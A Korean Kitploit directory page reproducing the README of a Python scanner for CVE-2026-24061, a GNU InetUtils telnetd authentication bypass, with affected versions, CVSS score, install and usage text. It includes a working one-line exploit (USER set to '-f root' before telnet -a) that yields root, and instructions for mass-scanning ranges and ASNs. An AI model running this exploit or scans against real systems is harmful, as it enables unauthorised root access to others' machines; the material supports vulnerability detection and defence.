Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Twenty-Three-Scanner — CVE-2026-24061 - GNU InetUtils Telnetd 원격 인증 우회 | Kitploit
도구/GitHubGitHub/madfxr/twenty-three-scanner
ReconnaissanceVulnerability ScannersExploitationInformation GatheringNetwork SecurityPenetration Testing
GitHubmadfxr/twenty-three-scanner

Twenty-Three-Scanner

CVE-2026-24061 - GNU InetUtils Telnetd 원격 인증 우회

저장소 보기
4218개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🛰️ Twenty-Three Scanner

Telnetd 서비스 중 CVE-2026-24061 취약점에 영향을 받는 서비스를 탐지하기 위한 강력하고, 빠르며, 우아한 스캐너입니다. 순수 Python 표준 라이브러리로 제작되었으며, 외부 의존성이 전혀 필요 없습니다.

License: MIT Python 3.x Android Windows macOS Solaris FreeBSD Linux Offensive Security Ethical Hacking CVE-2026-24061 GNU InetUtils Telnetd


🔗 목차

  • ⚖️ 라이선스
  • 🧩 기능
  • ☣️ 취약점 세부 정보
    • ⚡ 서비스 상태
    • 🧪 개념 증명 (PoC)
    • 💥 영향을 받는 버전
    • 🧵 패치된 버전
    • ⚔️ 공격 벡터
    • 🚨 CVSS 점수
  • 🛠️ 설치
  • 📜 사용법
  • 🎯 예제
  • ⚗️ 데모
  • 📖 참고 자료

🧩 기능

  • 🚀 고성능 스캐닝 – 구성 가능한 스레드 수를 지원하는 멀티스레드 아키텍처.
  • 🌐 유연한 대상 입력 – 단일 IP, CIDR 범위, ASN 조회 및 파일 기반 목록 지원.
  • 📊 실시간 진행 상황 – 라이브 진행률 표시줄이 포함된 아름다운 유니코드 기반 UI.
  • 🤖 ASN 인텔리전스 – RADB, BGPView 및 HackerTarget API에서 자동으로 프리픽스 가져오기.
  • 🌍 지리 위치 인텔리전스 – ipapi API에서 실시간 ASN, 제공업체 및 위치 정보 가져오기.
  • 💾 안전한 중단 처리 – 결과 자동 저장과 함께 CTRL+C 처리.
  • 📝 상세 로깅 – 디버깅을 위한 구성 가능한 상세 수준.
  • 🛡️ 안전한 스캐닝 – 대규모 스캔을 실수로 방지하기 위한 내장 제한 기능.
  • 🎨 깔끔한 출력 – 스캔 요약이 포함된 전문적인 테두리 테이블.
  • 📦 의존성 제로 – 순수 Python 3.x 표준 라이브러리만 사용.

☣️ 취약점 세부 정보

**CVE-2026-24061**은 GNU InetUtils **Telnetd**의 NEW-ENVIRON 옵션 처리를 악용하여 인증되지 않은 원격 공격자가 루트 액세스 권한을 얻을 수 있게 하는 심각한 인증 우회 취약점입니다.


⚡ 서비스 상태

다음은 대상 호스트 측의 Telnetd 서비스 구성입니다.

image


🧪 개념 증명 (PoC)

그리고 다음은 이 취약점에 대한 개념 증명(PoC)으로, 공격자 호스트에서 USER="-f root" telnet -a <TARGET_HOST> 23 명령을 실행하기만 하면 수동으로 실행할 수 있습니다.

image


💥 영향을 받는 버전

  • GNU InetUtils >=1.9.3 <=2.7.
  • 다양한 임베디드 Linux 배포판.
  • 취약한 Telnetd 구현이 포함된 IoT 기기.

🧵 패치된 버전

  • GNU InetUtils >=2.8.

⚔️ 공격 벡터

이 취약점은 텔넷 NEW-ENVIRON (RFC 1572) 옵션 협상에서 USER 환경 변수의 부적절한 검증을 악용하여, 공격자가 -f root와 같은 악성 값을 주입하여 인증을 우회할 수 있게 합니다.


🚨 CVSS 점수

9.8 (치명적) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.


🛠️ 설치

# Clone the Repository
cd /opt
sudo git clone https://github.com/madfxr/Twenty-Three-Scanner.git
cd Twenty-Three-Scanner

# Make Executable
sudo chmod +x twenty-three-scanner.py

# Run the Script
sudo python3 twenty-three-scanner.py -h

📜 사용법

다음은 취약점 CVE-2026-24061 - GNU InetUtils Telnetd 원격 인증 우회를 탐지하는 데 사용할 수 있는 Twenty-Three Scanner 도구의 매뉴얼입니다.

usage: python3 twenty-three-scanner.py [-h] [-t TARGET] [-f FILE] [-a ASN] [-p PORT] [--threads N] [--user-value VALUE] [--connect-timeout SEC] [--read-timeout SEC] [--id-timeout SEC]
                                       [--max-hosts-per-cidr N] [--max-total-hosts N] [--skip-large-networks] [-o FILE] [-v]

CVE-2026-24061 - GNU InetUtils Telnetd Remote Authentication Bypass

options:
  -h, --help            show this help message and exit

Target Options:
  -t TARGET, --target TARGET
                        target IP, CIDR, or comma-separated list (can be used multiple times)
  -f FILE, --file FILE  file containing targets (one per line, supports comments with #)
  -a ASN, --asn ASN     autonomous system number (e.g., AS10111 or 10111)

Scan Options:
  -p PORT, --port PORT  target port(s), comma-separated (default: 23)
  --threads N           number of concurrent threads (default: 50)
  --user-value VALUE    USER environment variable value for exploit (default: '-f root')

Timeout Options:
  --connect-timeout SEC
                        TCP connection timeout in seconds (default: 3.0)
  --read-timeout SEC    socket read timeout in seconds (default: 2.0)
  --id-timeout SEC      'id' command response timeout in seconds (default: 2.0)

Limit Options:
  --max-hosts-per-cidr N
                        maximum hosts to scan per CIDR block (default: 1024)
  --max-total-hosts N   maximum total hosts across all targets (default: 50000)
  --skip-large-networks
                        skip networks larger than /16 (avoids accidentally scanning huge ranges)

Output Options:
  -o FILE, --output FILE
                        save vulnerable hosts to file (format: IP:PORT)
  -v, --verbose         enable verbose debug logging

🎯 예제

다음은 명령 사용 방법에 대한 몇 가지 예제입니다.

  # Scan Single IP Address, and Single Port
  sudo python3 twenty-three-scanner.py -t 10.0.0.23 -p 23

  # Scan Single IP Address, and Multiple Ports
  sudo python3 twenty-three-scanner.py -t 10.0.0.23 -p 23,2323

  # Scan Multiple IP Addresses, and Single Port
  sudo python3 twenty-three-scanner.py -t 10.0.0.23,10.0.23.23 -p 23

  # Scan Multiple Addresses, and Multiple Ports
  sudo python3 twenty-three-scanner.py -t 10.0.0.23,10.0.23.23 -p 23,2323

  # Scan CIDR Range, and Single Port with Results
  sudo python3 twenty-three-scanner.py -t 192.168.23.0/23 -p 23 -o results.txt
도구 다운로드